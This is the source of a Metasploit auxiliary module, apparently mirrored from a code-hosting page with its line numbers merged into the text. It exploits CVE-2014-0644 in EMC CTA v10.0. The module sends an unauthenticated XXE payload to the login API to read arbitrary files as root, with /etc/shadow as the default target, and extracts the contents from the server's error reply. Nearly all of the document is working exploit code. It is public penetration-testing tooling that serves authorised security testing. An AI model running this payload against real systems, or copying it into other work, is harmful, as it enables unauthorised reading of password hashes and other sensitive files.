Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/emc_cta_xxe.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read',11'Description' => %q{12EMC CTA v10.0 is susceptible to an unauthenticated XXE attack13that allows an attacker to read arbitrary files from the file system14with the permissions of the root user.15},16'License' => MSF_LICENSE,17'Author' =>18[19'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module20],21'References' =>22[23['CVE', '2014-0644'],24['EDB', '32623']25],26'DisclosureDate' => '2014-03-31'27))2829register_options(30[31Opt::RPORT(443),32OptBool.new('SSL', [true, 'Use SSL', true]),33OptString.new('TARGETURI', [ true, "Base directory path", '/']),34OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),35]36)37end3839def run4041doctype = Rex::Text.rand_text_alpha(6)42element = Rex::Text.rand_text_alpha(6)43entity = Rex::Text.rand_text_alpha(6)4445pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>46<!DOCTYPE #{doctype} [47<!ELEMENT #{element} ANY >48<!ENTITY #{entity} SYSTEM "file://#{datastore['FILEPATH']}" >]>49<Request>50<Username>root</Username>51<Password>&#{entity};</Password>52</Request>53}5455res = send_request_cgi({56'uri' => normalize_uri(target_uri.path, 'api', 'login'),57'method' => 'POST',58'data' => pay59})6061if !res or !res.body62fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")63end6465file = /For input string: "(.*)"/m.match(res.body)6667if !file or file.length < 268fail_with(Failure::UnexpectedReply, "File was unretrievable. Was it a binary file?")69end7071file = file[1]7273path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])7475print_good("File saved to: " + path)76end77end787980